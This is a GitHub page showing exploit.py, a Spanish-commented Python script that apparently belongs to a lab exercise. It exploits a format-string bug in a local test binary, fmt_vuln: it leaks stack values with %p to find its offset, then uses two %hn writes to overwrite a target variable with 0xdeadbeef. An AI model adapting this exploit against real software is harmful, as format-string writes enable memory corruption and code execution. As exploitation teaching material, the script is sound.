-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit.py
More file actions
66 lines (55 loc) · 2.15 KB
/
Copy pathexploit.py
File metadata and controls
66 lines (55 loc) · 2.15 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3
"""Exploit de format string contra fmt_vuln.
Estrategia:
1. Encontrar nuestra posición en la pila con %p en serie.
2. Calcular padding para que el contador de printf llegue al valor deseado.
3. Usar %hn dos veces (low half, high half) para escribir un valor de 32 bits.
Adaptar OFFSET_POS al valor que descubras con paso 1.
"""
import subprocess, struct, re, sys, os
BIN = os.path.join(os.path.dirname(__file__), "fmt_vuln")
def find_pos():
"""Mete una marca AAAABBBB y busca su offset en la pila."""
marker = b"AAAABBBB"
out = subprocess.run([BIN, marker + b" %p %p %p %p %p %p %p %p %p %p"],
capture_output=True).stdout
print("[debug]", out.decode(errors="replace").strip())
leaks = re.findall(rb'0x[0-9a-f]+', out)
for i, leak in enumerate(leaks, start=1):
if leak.startswith(b'0x4242424241414141') or leak.startswith(b'0x41414141'):
print(f"[+] marker en %{i}$p")
return i
print("[-] No se localizó la marca; ajustar manualmente")
return None
def get_target_addr():
out = subprocess.run([BIN], capture_output=True).stdout
m = re.search(rb'target es 0x([0-9a-f]+)', out)
return int(m.group(1), 16) if m else None
def main():
pos = find_pos() or 8
target = get_target_addr()
print(f"[+] target @ {hex(target)}, fmt-pos = %{pos}$")
new_value = 0xdeadbeef
low = new_value & 0xffff
high = (new_value >> 16) & 0xffff
# Layout del payload: [addr_low][addr_high] %?x %?x %hn%hn
p = b''
p += struct.pack('<Q', target)
p += struct.pack('<Q', target + 2)
# padding hasta low
pad_low = (low - len(p)) & 0xffff
pad_high = (high - low) & 0xffff
p += f"%{pad_low}x".encode()
p += f"%{pos}$hn".encode()
p += f"%{pad_high}x".encode()
p += f"%{pos+1}$hn".encode()
print(f"[+] Payload ({len(p)} bytes)")
res = subprocess.run([BIN, p], capture_output=True)
out = res.stdout.decode(errors="replace")
print(out)
if "target = 0xdeadbeef" in out:
print("[+] Sobrescritura OK")
else:
print("[-] Falló: ajusta OFFSET_POS y padding")
if __name__ == "__main__":
main()